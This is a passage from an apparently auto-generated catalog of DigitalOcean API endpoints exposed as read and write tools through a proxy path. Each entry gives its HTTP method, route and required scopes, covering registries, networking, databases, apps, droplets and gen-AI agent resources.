/api/v1/digitalocean/v2/registries/{registry_name}/repositories/{repository_name}/tags. Scopes: registry:read. digitalocean_get_v2_registries_by_registry_name_repositoriesv2 (read) — List All Container Registry Repositories (V2) via GET /v2/registries/{registry_name}/repositoriesV2 GET /api/v1/digitalocean/v2/registries/{registry_name}/repositoriesV2. Scopes: registry:read. digitalocean_get_v2_registries_options (read) — List Registry Options (Subscription Tiers and Available Regions) via GET /v2/registries/options GET /api/v1/digitalocean/v2/registries/options. Scopes: registry:read. digitalocean_get_v2_registries_subscription (read) — Get Subscription Information via GET /v2/registries/subscription GET /api/v1/digitalocean/v2/registries/subscription. Scopes: registry:read. digitalocean_get_v2_registry (read) — Get Container Registry Information via GET /v2/registry GET /api/v1/digitalocean/v2/registry. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_garbage_collection (read) — Get Active Garbage Collection via GET /v2/registry/{registry_name}/garbage-collection GET /api/v1/digitalocean/v2/registry/{registry_name}/garbage-collection. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_garbage_collections (read) — List Garbage Collections via GET /v2/registry/{registry_name}/garbage-collections GET /api/v1/digitalocean/v2/registry/{registry_name}/garbage-collections. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_repositories (read) — List All Container Registry Repositories via GET /v2/registry/{registry_name}/repositories GET /api/v1/digitalocean/v2/registry/{registry_name}/repositories. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_repositories_by_repository_name_digests (read) — List All Container Registry Repository Manifests via GET /v2/registry/{registry_name}/repositories/{repository_name}/digests GET /api/v1/digitalocean/v2/registry/{registry_name}/repositories/{repository_name}/digests. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_repositories_by_repository_name_tags (read) — List All Container Registry Repository Tags via GET /v2/registry/{registry_name}/repositories/{repository_name}/tags GET /api/v1/digitalocean/v2/registry/{registry_name}/repositories/{repository_name}/tags. Scopes: registry:read. digitalocean_get_v2_registry_by_registry_name_repositoriesv2 (read) — List All Container Registry Repositories (V2) via GET /v2/registry/{registry_name}/repositoriesV2 GET /api/v1/digitalocean/v2/registry/{registry_name}/repositoriesV2. Scopes: registry:read. digitalocean_get_v2_registry_docker_credentials (read) — Get Docker Credentials for Container Registry via GET /v2/registry/docker-credentials GET /api/v1/digitalocean/v2/registry/docker-credentials. Scopes: registry:read. digitalocean_get_v2_registry_options (read) — List Registry Options (Subscription Tiers and Available Regions) via GET /v2/registry/options GET /api/v1/digitalocean/v2/registry/options. Scopes: registry:read. digitalocean_get_v2_registry_subscription (read) — Get Subscription via GET /v2/registry/subscription GET /api/v1/digitalocean/v2/registry/subscription. Scopes: registry:read. digitalocean_get_v2_reports_droplet_neighbors_ids (read) — List All Droplet Neighbors via GET /v2/reports/droplet_neighbors_ids GET /api/v1/digitalocean/v2/reports/droplet_neighbors_ids. Scopes: droplet:read. digitalocean_get_v2_reserved_ips (read) — List All Reserved IPs via GET /v2/reserved_ips GET /api/v1/digitalocean/v2/reserved_ips. Scopes: reserved_ip:read. digitalocean_get_v2_reserved_ips_by_reserved_ip (read) — Retrieve an Existing Reserved IP via GET /v2/reserved_ips/{reserved_ip} GET /api/v1/digitalocean/v2/reserved_ips/{reserved_ip}. Scopes: reserved_ip:read. digitalocean_get_v2_reserved_ips_by_reserved_ip_actions (read) — List All Actions for a Reserved IP via GET /v2/reserved_ips/{reserved_ip}/actions GET /api/v1/digitalocean/v2/reserved_ips/{reserved_ip}/actions. Scopes: reserved_ip:read. digitalocean_get_v2_reserved_ips_by_reserved_ip_actions_by_action_id (read) — Retrieve an Existing Reserved IP Action via GET /v2/reserved_ips/{reserved_ip}/actions/{action_id} GET /api/v1/digitalocean/v2/reserved_ips/{reserved_ip}/actions/{action_id}. Scopes: reserved_ip:read. digitalocean_get_v2_reserved_ipv6 (read) — List All Reserved IPv6s via GET /v2/reserved_ipv6 GET /api/v1/digitalocean/v2/reserved_ipv6. Scopes: reserved_ip:read. digitalocean_get_v2_reserved_ipv6_by_reserved_ipv6 (read) — Retrieve an Existing Reserved IPv6 via GET /v2/reserved_ipv6/{reserved_ipv6} GET /api/v1/digitalocean/v2/reserved_ipv6/{reserved_ipv6}. Scopes: reserved_ip:read. digitalocean_get_v2_security_scans (read) — List Scans via GET /v2/security/scans GET /api/v1/digitalocean/v2/security/scans. Scopes: security:read. digitalocean_get_v2_security_scans_by_scan_id (read) — Get Scan via GET /v2/security/scans/{scan_id} GET /api/v1/digitalocean/v2/security/scans/{scan_id}. Scopes: security:read. digitalocean_get_v2_security_scans_by_scan_id_findings_by_finding_uuid_affected_resources (read) — List Finding Affected Resources via GET /v2/security/scans/{scan_id}/findings/{finding_uuid}/affected_resources GET /api/v1/digitalocean/v2/security/scans/{scan_id}/findings/{finding_uuid}/affected_resources. Scopes: security:read. digitalocean_get_v2_security_scans_latest (read) — Get Latest Scan via GET /v2/security/scans/latest GET /api/v1/digitalocean/v2/security/scans/latest. Scopes: security:read. digitalocean_get_v2_security_settings (read) — List Settings via GET /v2/security/settings GET /api/v1/digitalocean/v2/security/settings. Scopes: security:read. digitalocean_get_v2_sizes (read) — List All Droplet Sizes via GET /v2/sizes GET /api/v1/digitalocean/v2/sizes. Scopes: sizes:read. digitalocean_get_v2_snapshots (read) — List All Snapshots via GET /v2/snapshots GET /api/v1/digitalocean/v2/snapshots. Scopes: snapshot:read. digitalocean_get_v2_snapshots_by_snapshot_id (read) — Retrieve an Existing Snapshot via GET /v2/snapshots/{snapshot_id} GET /api/v1/digitalocean/v2/snapshots/{snapshot_id}. Scopes: snapshot:read. digitalocean_get_v2_spaces_keys (read) — List Spaces Access Keys via GET /v2/spaces/keys GET /api/v1/digitalocean/v2/spaces/keys. Scopes: spaces_key:read. digitalocean_get_v2_spaces_keys_by_access_key (read) — Get a Spaces Access Key via GET /v2/spaces/keys/{access_key} GET /api/v1/digitalocean/v2/spaces/keys/{access_key}. Scopes: spaces_key:read. digitalocean_get_v2_tags (read) — List All Tags via GET /v2/tags GET /api/v1/digitalocean/v2/tags. Scopes: tag:read. digitalocean_get_v2_tags_by_tag_id (read) — Retrieve a Tag via GET /v2/tags/{tag_id} GET /api/v1/digitalocean/v2/tags/{tag_id}. Scopes: tag:read. digitalocean_get_v2_uptime_checks (read) — List All Checks via GET /v2/uptime/checks GET /api/v1/digitalocean/v2/uptime/checks. Scopes: uptime:read. digitalocean_get_v2_uptime_checks_by_check_id (read) — Retrieve an Existing Check via GET /v2/uptime/checks/{check_id} GET /api/v1/digitalocean/v2/uptime/checks/{check_id}. Scopes: uptime:read. digitalocean_get_v2_uptime_checks_by_check_id_alerts (read) — List All Alerts via GET /v2/uptime/checks/{check_id}/alerts GET /api/v1/digitalocean/v2/uptime/checks/{check_id}/alerts. Scopes: uptime:read. digitalocean_get_v2_uptime_checks_by_check_id_alerts_by_alert_id (read) — Retrieve an Existing Alert via GET /v2/uptime/checks/{check_id}/alerts/{alert_id} GET /api/v1/digitalocean/v2/uptime/checks/{check_id}/alerts/{alert_id}. Scopes: uptime:read. digitalocean_get_v2_uptime_checks_by_check_id_state (read) — Retrieve Check State via GET /v2/uptime/checks/{check_id}/state GET /api/v1/digitalocean/v2/uptime/checks/{check_id}/state. Scopes: uptime:read. digitalocean_get_v2_vector_databases (read) — List All Vector Databases via GET /v2/vector-databases GET /api/v1/digitalocean/v2/vector-databases. Scopes: database:read. digitalocean_get_v2_vector_databases_by_id (read) — Retrieve an Existing Vector Database via GET /v2/vector-databases/{id} GET /api/v1/digitalocean/v2/vector-databases/{id}. Scopes: database:read. digitalocean_get_v2_vector_databases_by_id_backups (read) — List Backups for a Vector Database via GET /v2/vector-databases/{id}/backups GET /api/v1/digitalocean/v2/vector-databases/{id}/backups. Scopes: database:read. digitalocean_get_v2_vector_databases_by_id_backups_by_backup_id_restore (read) — Retrieve the Status of a Restore via GET /v2/vector-databases/{id}/backups/{backup_id}/restore GET /api/v1/digitalocean/v2/vector-databases/{id}/backups/{backup_id}/restore. Scopes: database:read. digitalocean_get_v2_vector_databases_by_id_credentials (read) — Retrieve Admin Credentials for a Vector Database via GET /v2/vector-databases/{id}/credentials GET /api/v1/digitalocean/v2/vector-databases/{id}/credentials. Scopes: database:view_credentials. digitalocean_get_v2_volumes (read) — List All Block Storage Volumes via GET /v2/volumes GET /api/v1/digitalocean/v2/volumes. Scopes: block_storage:read. digitalocean_get_v2_volumes_by_volume_id (read) — Retrieve an Existing Block Storage Volume via GET /v2/volumes/{volume_id} GET /api/v1/digitalocean/v2/volumes/{volume_id}. Scopes: block_storage:read. digitalocean_get_v2_volumes_by_volume_id_actions (read) — List All Actions for a Volume via GET /v2/volumes/{volume_id}/actions GET /api/v1/digitalocean/v2/volumes/{volume_id}/actions. Scopes: block_storage_action:read. digitalocean_get_v2_volumes_by_volume_id_actions_by_action_id (read) — Retrieve an Existing Volume Action via GET /v2/volumes/{volume_id}/actions/{action_id} GET /api/v1/digitalocean/v2/volumes/{volume_id}/actions/{action_id}. Scopes: block_storage_action:read. digitalocean_get_v2_volumes_by_volume_id_snapshots (read) — List Snapshots for a Volume via GET /v2/volumes/{volume_id}/snapshots GET /api/v1/digitalocean/v2/volumes/{volume_id}/snapshots. Scopes: block_storage_snapshot:read. digitalocean_get_v2_volumes_snapshots_by_snapshot_id (read) — Retrieve an Existing Volume Snapshot via GET /v2/volumes/snapshots/{snapshot_id} GET /api/v1/digitalocean/v2/volumes/snapshots/{snapshot_id}. Scopes: block_storage_snapshot:read. digitalocean_get_v2_vpc_nat_gateways (read) — List All VPC NAT Gateways via GET /v2/vpc_nat_gateways GET /api/v1/digitalocean/v2/vpc_nat_gateways. Scopes: nat_gateway:read. digitalocean_get_v2_vpc_nat_gateways_by_id (read) — Retrieve an Existing VPC NAT Gateway via GET /v2/vpc_nat_gateways/{id} GET /api/v1/digitalocean/v2/vpc_nat_gateways/{id}. Scopes: nat_gateway:read. digitalocean_get_v2_vpc_peerings (read) — List All VPC Peerings via GET /v2/vpc_peerings GET /api/v1/digitalocean/v2/vpc_peerings. Scopes: vpc_peering:read. digitalocean_get_v2_vpc_peerings_by_vpc_peering_id (read) — Retrieve an Existing VPC Peering via GET /v2/vpc_peerings/{vpc_peering_id} GET /api/v1/digitalocean/v2/vpc_peerings/{vpc_peering_id}. Scopes: vpc_peering:read. digitalocean_get_v2_vpcs (read) — List All VPCs via GET /v2/vpcs GET /api/v1/digitalocean/v2/vpcs. Scopes: vpc:read. digitalocean_get_v2_vpcs_by_vpc_id (read) — Retrieve an Existing VPC via GET /v2/vpcs/{vpc_id} GET /api/v1/digitalocean/v2/vpcs/{vpc_id}. Scopes: vpc:read. digitalocean_get_v2_vpcs_by_vpc_id_members (read) — List the Member Resources of a VPC via GET /v2/vpcs/{vpc_id}/members GET /api/v1/digitalocean/v2/vpcs/{vpc_id}/members. Scopes: vpc:read. digitalocean_get_v2_vpcs_by_vpc_id_peerings (read) — List the Peerings of a VPC via GET /v2/vpcs/{vpc_id}/peerings GET /api/v1/digitalocean/v2/vpcs/{vpc_id}/peerings. Scopes: vpc_peering:read. digitalocean_patch_v2_add_ons_saas_by_resource_uuid (write) — Update the name for an Add-On Resource via PATCH /v2/add-ons/saas/{resource_uuid} PATCH /api/v1/digitalocean/v2/add-ons/saas/{resource_uuid}. Scopes: addon:update. digitalocean_patch_v2_add_ons_saas_by_resource_uuid_plan (write) — Update the plan for an Add-On Resource via PATCH /v2/add-ons/saas/{resource_uuid}/plan PATCH /api/v1/digitalocean/v2/add-ons/saas/{resource_uuid}/plan. Scopes: addon:update. digitalocean_patch_v2_byoip_prefixes_by_byoip_prefix_uuid (write) — Update a BYOIP Prefix via PATCH /v2/byoip_prefixes/{byoip_prefix_uuid} PATCH /api/v1/digitalocean/v2/byoip_prefixes/{byoip_prefix_uuid}. Scopes: byoip_prefix:update. digitalocean_patch_v2_databases_by_database_cluster_uuid_config (write) — Update the Database Configuration for an Existing Database via PATCH /v2/databases/{database_cluster_uuid}/config PATCH /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/config. Scopes: database:update. digitalocean_patch_v2_dedicated_inferences_by_dedicated_inference_id (write) — Update a Dedicated Inference via PATCH /v2/dedicated-inferences/{dedicated_inference_id} PATCH /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}. Scopes: dedicated_inference:update. digitalocean_patch_v2_domains_by_domain_name_records_by_domain_record_id (write) — Update a Domain Record via PATCH /v2/domains/{domain_name}/records/{domain_record_id} PATCH /api/v1/digitalocean/v2/domains/{domain_name}/records/{domain_record_id}. Scopes: domain:update. digitalocean_patch_v2_gen_ai_custom_models_by_uuid_metadata (write) — Update Custom Model Metadata via PATCH /v2/gen-ai/custom_models/{uuid}/metadata PATCH /api/v1/digitalocean/v2/gen-ai/custom_models/{uuid}/metadata. Scopes: genai:update. digitalocean_patch_v2_gen_ai_model_evaluation_runs_by_eval_run_uuid (write) — Update Model Evaluation Run via PATCH /v2/gen-ai/model_evaluation_runs/{eval_run_uuid} PATCH /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs/{eval_run_uuid}. Scopes: genai:update. digitalocean_patch_v2_partner_network_connect_attachments_by_pa_id (write) — Update an existing partner attachment via PATCH /v2/partner_network_connect/attachments/{pa_id} PATCH /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}. Scopes: partner_network_connect:read. digitalocean_patch_v2_projects_by_project_id (write) — Patch a Project via PATCH /v2/projects/{project_id} PATCH /api/v1/digitalocean/v2/projects/{project_id}. Scopes: project:update. digitalocean_patch_v2_projects_default (write) — Patch the Default Project via PATCH /v2/projects/default PATCH /api/v1/digitalocean/v2/projects/default. Scopes: project:update. digitalocean_patch_v2_spaces_keys_by_access_key (write) — Update Spaces Access Keys via PATCH /v2/spaces/keys/{access_key} PATCH /api/v1/digitalocean/v2/spaces/keys/{access_key}. Scopes: spaces_key:update. digitalocean_patch_v2_vpc_peerings_by_vpc_peering_id (write) — Update a VPC peering via PATCH /v2/vpc_peerings/{vpc_peering_id} PATCH /api/v1/digitalocean/v2/vpc_peerings/{vpc_peering_id}. Scopes: vpc_peering:update. digitalocean_patch_v2_vpcs_by_vpc_id (write) — Partially Update a VPC via PATCH /v2/vpcs/{vpc_id} PATCH /api/v1/digitalocean/v2/vpcs/{vpc_id}. Scopes: vpc:update. digitalocean_patch_v2_vpcs_by_vpc_id_peerings_by_vpc_peering_id (write) — Update a VPC Peering via PATCH /v2/vpcs/{vpc_id}/peerings/{vpc_peering_id} PATCH /api/v1/digitalocean/v2/vpcs/{vpc_id}/peerings/{vpc_peering_id}. Scopes: vpc_peering:update. digitalocean_post_v1_async_invoke (write) — Generate Image, Audio, or Text-to-Speech Using fal Models via POST /v1/async-invoke POST /api/v1/digitalocean/v1/async-invoke. Scopes: none. digitalocean_post_v1_batches (write) — Create a Batch Inference Job via POST /v1/batches POST /api/v1/digitalocean/v1/batches. Scopes: none. digitalocean_post_v1_batches_by_batch_id_cancel (write) — Cancel a Batch Inference Job via POST /v1/batches/{batch_id}/cancel POST /api/v1/digitalocean/v1/batches/{batch_id}/cancel. Scopes: none. digitalocean_post_v1_batches_files (write) — Create a Batch Inference Input File via POST /v1/batches/files POST /api/v1/digitalocean/v1/batches/files. Scopes: none. digitalocean_post_v1_chat_completions (write) — Create a model response for the given chat conversation via POST /v1/chat/completions POST /api/v1/digitalocean/v1/chat/completions. Scopes: none. digitalocean_post_v1_embeddings (write) — Create embedding via POST /v1/embeddings POST /api/v1/digitalocean/v1/embeddings. Scopes: none. digitalocean_post_v1_images_generations (write) — Generate images from text prompts via POST /v1/images/generations POST /api/v1/digitalocean/v1/images/generations. Scopes: none. digitalocean_post_v1_messages (write) — Create the next assistant message via POST /v1/messages POST /api/v1/digitalocean/v1/messages. Scopes: none. digitalocean_post_v1_responses (write) — Send Prompt to a Model Using the Responses API via POST /v1/responses POST /api/v1/digitalocean/v1/responses. Scopes: none. digitalocean_post_v2_1_clicks_kubernetes (write) — Install Kubernetes 1-Click Applications via POST /v2/1-clicks/kubernetes POST /api/v1/digitalocean/v2/1-clicks/kubernetes. Scopes: addon:create, kubernetes:update. digitalocean_post_v2_account_keys (write) — Create a New SSH Key via POST /v2/account/keys POST /api/v1/digitalocean/v2/account/keys. Scopes: ssh_key:create. digitalocean_post_v2_add_ons_saas (write) — Create/Provision a New Add-on Resource via POST /v2/add-ons/saas POST /api/v1/digitalocean/v2/add-ons/saas. Scopes: addon:create. digitalocean_post_v2_apps (write) — Create a New App via POST /v2/apps POST /api/v1/digitalocean/v2/apps. Scopes: app:create. digitalocean_post_v2_apps_by_app_id_alerts_by_alert_id_destinations (write) — Update destinations for alerts via POST /v2/apps/{app_id}/alerts/{alert_id}/destinations POST /api/v1/digitalocean/v2/apps/{app_id}/alerts/{alert_id}/destinations. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_deployments (write) — Create an App Deployment via POST /v2/apps/{app_id}/deployments POST /api/v1/digitalocean/v2/apps/{app_id}/deployments. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_deployments_by_deployment_id_cancel (write) — Cancel a Deployment via POST /v2/apps/{app_id}/deployments/{deployment_id}/cancel POST /api/v1/digitalocean/v2/apps/{app_id}/deployments/{deployment_id}/cancel. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_events_by_event_id_cancel (write) — Cancel an Event via POST /v2/apps/{app_id}/events/{event_id}/cancel POST /api/v1/digitalocean/v2/apps/{app_id}/events/{event_id}/cancel. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_job_invocations_by_job_invocation_id_cancel (write) — Cancel Job Invocation via POST /v2/apps/{app_id}/job-invocations/{job_invocation_id}/cancel POST /api/v1/digitalocean/v2/apps/{app_id}/job-invocations/{job_invocation_id}/cancel. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_restart (write) — Restart an App via POST /v2/apps/{app_id}/restart POST /api/v1/digitalocean/v2/apps/{app_id}/restart. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_rollback (write) — Rollback App via POST /v2/apps/{app_id}/rollback POST /api/v1/digitalocean/v2/apps/{app_id}/rollback. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_rollback_commit (write) — Commit App Rollback via POST /v2/apps/{app_id}/rollback/commit POST /api/v1/digitalocean/v2/apps/{app_id}/rollback/commit. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_rollback_revert (write) — Revert App Rollback via POST /v2/apps/{app_id}/rollback/revert POST /api/v1/digitalocean/v2/apps/{app_id}/rollback/revert. Scopes: app:update. digitalocean_post_v2_apps_by_app_id_rollback_validate (write) — Validate App Rollback via POST /v2/apps/{app_id}/rollback/validate POST /api/v1/digitalocean/v2/apps/{app_id}/rollback/validate. Scopes: app:update. digitalocean_post_v2_apps_metrics_bandwidth_daily (write) — Retrieve Multiple Apps' Daily Bandwidth Metrics via POST /v2/apps/metrics/bandwidth_daily POST /api/v1/digitalocean/v2/apps/metrics/bandwidth_daily. Scopes: app:read. digitalocean_post_v2_apps_propose (write) — Propose an App Spec via POST /v2/apps/propose POST /api/v1/digitalocean/v2/apps/propose. Scopes: app:read. digitalocean_post_v2_byoip_prefixes (write) — Create a BYOIP Prefix via POST /v2/byoip_prefixes POST /api/v1/digitalocean/v2/byoip_prefixes. Scopes: byoip_prefix:create. digitalocean_post_v2_cdn_endpoints (write) — Create a New CDN Endpoint via POST /v2/cdn/endpoints POST /api/v1/digitalocean/v2/cdn/endpoints. Scopes: cdn:create. digitalocean_post_v2_certificates (write) — Create a New Certificate via POST /v2/certificates POST /api/v1/digitalocean/v2/certificates. Scopes: certificate:create. digitalocean_post_v2_databases (write) — Create a New Database Cluster via POST /v2/databases POST /api/v1/digitalocean/v2/databases. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_dbs (write) — Add a New Database via POST /v2/databases/{database_cluster_uuid}/dbs POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/dbs. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_logsink (write) — Create Logsink for a Database Cluster via POST /v2/databases/{database_cluster_uuid}/logsink POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/logsink. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_pools (write) — Add a New Connection Pool (PostgreSQL) via POST /v2/databases/{database_cluster_uuid}/pools POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/pools. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_replicas (write) — Create a Read-only Replica via POST /v2/databases/{database_cluster_uuid}/replicas POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/replicas. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_schema_registry (write) — Create Schema Registry for Kafka Cluster via POST /v2/databases/{database_cluster_uuid}/schema-registry POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_topics (write) — Create Topic for a Kafka Cluster via POST /v2/databases/{database_cluster_uuid}/topics POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/topics. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_users (write) — Add a Database User via POST /v2/databases/{database_cluster_uuid}/users POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users. Scopes: database:create. digitalocean_post_v2_databases_by_database_cluster_uuid_users_by_username_reset_auth (write) — Reset a Database User's Password or Authentication Method via POST /v2/databases/{database_cluster_uuid}/users/{username}/reset_auth POST /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users/{username}/reset_auth. Scopes: database:update. digitalocean_post_v2_dedicated_inferences (write) — Create a Dedicated Inference via POST /v2/dedicated-inferences POST /api/v1/digitalocean/v2/dedicated-inferences. Scopes: dedicated_inference:create. digitalocean_post_v2_dedicated_inferences_by_dedicated_inference_id_tokens (write) — Create a Dedicated Inference Token via POST /v2/dedicated-inferences/{dedicated_inference_id}/tokens POST /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/tokens. Scopes: dedicated_inference_token:create. digitalocean_post_v2_domains (write) — Create a New Domain via POST /v2/domains POST /api/v1/digitalocean/v2/domains. Scopes: domain:create. digitalocean_post_v2_domains_by_domain_name_records (write) — Create a New Domain Record via POST /v2/domains/{domain_name}/records POST /api/v1/digitalocean/v2/domains/{domain_name}/records. Scopes: domain:create. digitalocean_post_v2_droplets (write) — Create a New Droplet via POST /v2/droplets POST /api/v1/digitalocean/v2/droplets. Scopes: droplet:create. digitalocean_post_v2_droplets_actions (write) — Acting on Tagged Droplets via POST /v2/droplets/actions POST /api/v1/digitalocean/v2/droplets/actions. Scopes: droplet:update. digitalocean_post_v2_droplets_autoscale (write) — Create a New Autoscale Pool via POST /v2/droplets/autoscale POST /api/v1/digitalocean/v2/droplets/autoscale. Scopes: droplet:create. digitalocean_post_v2_droplets_by_droplet_id_actions (write) — Initiate a Droplet Action via POST /v2/droplets/{droplet_id}/actions POST /api/v1/digitalocean/v2/droplets/{droplet_id}/actions. Scopes: droplet:update. digitalocean_post_v2_droplets_by_droplet_id_destroy_with_associated_resources_retry (write) — Retry a Droplet Destroy with Associated Resources Request via POST /v2/droplets/{droplet_id}/destroy_with_associated_resources/retry POST /api/v1/digitalocean/v2/droplets/{droplet_id}/destroy_with_associated_resources/retry. Scopes: block_storage:delete, block_storage_snapshot:delete, droplet:delete, image:delete, reserved_ip:delete. digitalocean_post_v2_firewalls (write) — Create a New Firewall via POST /v2/firewalls POST /api/v1/digitalocean/v2/firewalls. Scopes: firewall:create. digitalocean_post_v2_firewalls_by_firewall_id_droplets (write) — Add Droplets to a Firewall via POST /v2/firewalls/{firewall_id}/droplets POST /api/v1/digitalocean/v2/firewalls/{firewall_id}/droplets. Scopes: firewall:update. digitalocean_post_v2_firewalls_by_firewall_id_rules (write) — Add Rules to a Firewall via POST /v2/firewalls/{firewall_id}/rules POST /api/v1/digitalocean/v2/firewalls/{firewall_id}/rules. Scopes: firewall:update. digitalocean_post_v2_firewalls_by_firewall_id_tags (write) — Add Tags to a Firewall via POST /v2/firewalls/{firewall_id}/tags POST /api/v1/digitalocean/v2/firewalls/{firewall_id}/tags. Scopes: firewall:update. digitalocean_post_v2_floating_ips (write) — Create a New Floating IP via POST /v2/floating_ips POST /api/v1/digitalocean/v2/floating_ips. Scopes: reserved_ip:create. digitalocean_post_v2_floating_ips_by_floating_ip_actions (write) — Initiate a Floating IP Action via POST /v2/floating_ips/{floating_ip}/actions POST /api/v1/digitalocean/v2/floating_ips/{floating_ip}/actions. Scopes: reserved_ip:update. digitalocean_post_v2_functions_namespaces (write) — Create Namespace via POST /v2/functions/namespaces POST /api/v1/digitalocean/v2/functions/namespaces. Scopes: function:create. digitalocean_post_v2_functions_namespaces_by_namespace_id_keys (write) — Create a Namespace Access Key via POST /v2/functions/namespaces/{namespace_id}/keys POST /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/keys. Scopes: function:admin. digitalocean_post_v2_functions_namespaces_by_namespace_id_triggers (write) — Create Trigger via POST /v2/functions/namespaces/{namespace_id}/triggers POST /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/triggers. Scopes: function:create. digitalocean_post_v2_gen_ai_agents (write) — Create an Agent via POST /v2/gen-ai/agents POST /api/v1/digitalocean/v2/gen-ai/agents. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_agent_uuid_api_keys (write) — Create an Agent API Key via POST /v2/gen-ai/agents/{agent_uuid}/api_keys POST /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/api_keys. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_agent_uuid_functions (write) — Add Function Route to an Agent via POST /v2/gen-ai/agents/{agent_uuid}/functions POST /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/functions. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_agent_uuid_guardrails (write) — Attach Guardrails to an Agent via POST /v2/gen-ai/agents/{agent_uuid}/guardrails POST /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/guardrails. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_agent_uuid_knowledge_bases (write) — Attach Knowledge Bases to an Agent via POST /v2/gen-ai/agents/{agent_uuid}/knowledge_bases POST /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/knowledge_bases. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_agent_uuid_knowledge_bases_by_knowledge_base_uuid (write) — Attach Knowledge Base to an Agent via POST /v2/gen-ai/agents/{agent_uuid}/knowledge_bases/{knowledge_base_uuid} POST /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/knowledge_bases/{knowledge_base_uuid}. Scopes: genai:create. digitalocean_post_v2_gen_ai_agents_by_parent_agent_uuid_child_agents_by_child_agent_uuid (write) — Add Agent Route to an Agent via POST /v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid} POST /api/v1/digitalocean/v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid}. Scopes: genai:create. digitalocean_post_v2_gen_ai_anthropic_keys (write) — Create Anthropic API Key via POST /v2/gen-ai/anthropic/keys POST /api/v1/digitalocean/v2/gen-ai/anthropic/keys. Scopes: genai:create. digitalocean_post_v2_gen_ai_custom_evaluation_metrics (write) — Create Custom Evaluation Metric via POST /v2/gen-ai/custom_evaluation_metrics POST /api/v1/digitalocean/v2/gen-ai/custom_evaluation_metrics. Scopes: genai:create. digitalocean_post_v2_gen_ai_custom_models_import (write) — Import Custom Model via POST /v2/gen-ai/custom_models/import POST /api/v1/digitalocean/v2/gen-ai/custom_models/import. Scopes: genai:create. digitalocean_post_v2_gen_ai_evaluation_datasets (write) — Create Evaluation Dataset via POST /v2/gen-ai/evaluation_datasets POST /api/v1/digitalocean/v2/gen-ai/evaluation_datasets. Scopes: genai:create. digitalocean_post_v2_gen_ai_evaluation_datasets_file_upload_presigned_urls (write) — Create Presigned URLs for Evaluation Dataset File Upload via POST /v2/gen-ai/evaluation_datasets/file_upload_presigned_urls POST /api/v1/digitalocean/v2/gen-ai/evaluation_datasets/file_upload_presigned_urls. Scopes: genai:create. digitalocean_post_v2_gen_ai_evaluation_runs (write) — Run an Evaluation Test Case via POST /v2/gen-ai/evaluation_runs POST /api/v1/digitalocean/v2/gen-ai/evaluation_runs. Scopes: genai:create. digitalocean_post_v2_gen_ai_evaluation_test_cases (write) — Create Evaluation Test Case. via POST /v2/gen-ai/evaluation_test_cases POST /api/v1/digitalocean/v2/gen-ai/evaluation_test_cases. Scopes: genai:create. digitalocean_post_v2_gen_ai_indexing_jobs (write) — Start Indexing Job for a Knowledge Base via POST /v2/gen-ai/indexing_jobs POST /api/v1/digitalocean/v2/gen-ai/indexing_jobs. Scopes: genai:create. digitalocean_post_v2_gen_ai_knowledge_bases (write) — Create a Knowledge Base via POST /v2/gen-ai/knowledge_bases POST /api/v1/digitalocean/v2/gen-ai/knowledge_bases. Scopes: genai:create. digitalocean_post_v2_gen_ai_knowledge_bases_by_knowledge_base_uuid_data_sources (write) — Add Data Source to a Knowledge Base via POST /v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources POST /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources. Scopes: genai:create. digitalocean_post_v2_gen_ai_knowledge_bases_data_sources_file_upload_presigned_urls (write) — Create Presigned URLs for Data Source File Upload via POST /v2/gen-ai/knowledge_bases/data_sources/file_upload_presigned_urls POST /api/v1/digitalocean/v2/gen-ai/knowledge_bases/data_sources/file_upload_presigned_urls. Scopes: genai:create. digitalocean_post_v2_gen_ai_model_evaluation_datasets_file_upload_presigned_urls (write) — Create Presigned URLs for Model Evaluation Dataset File 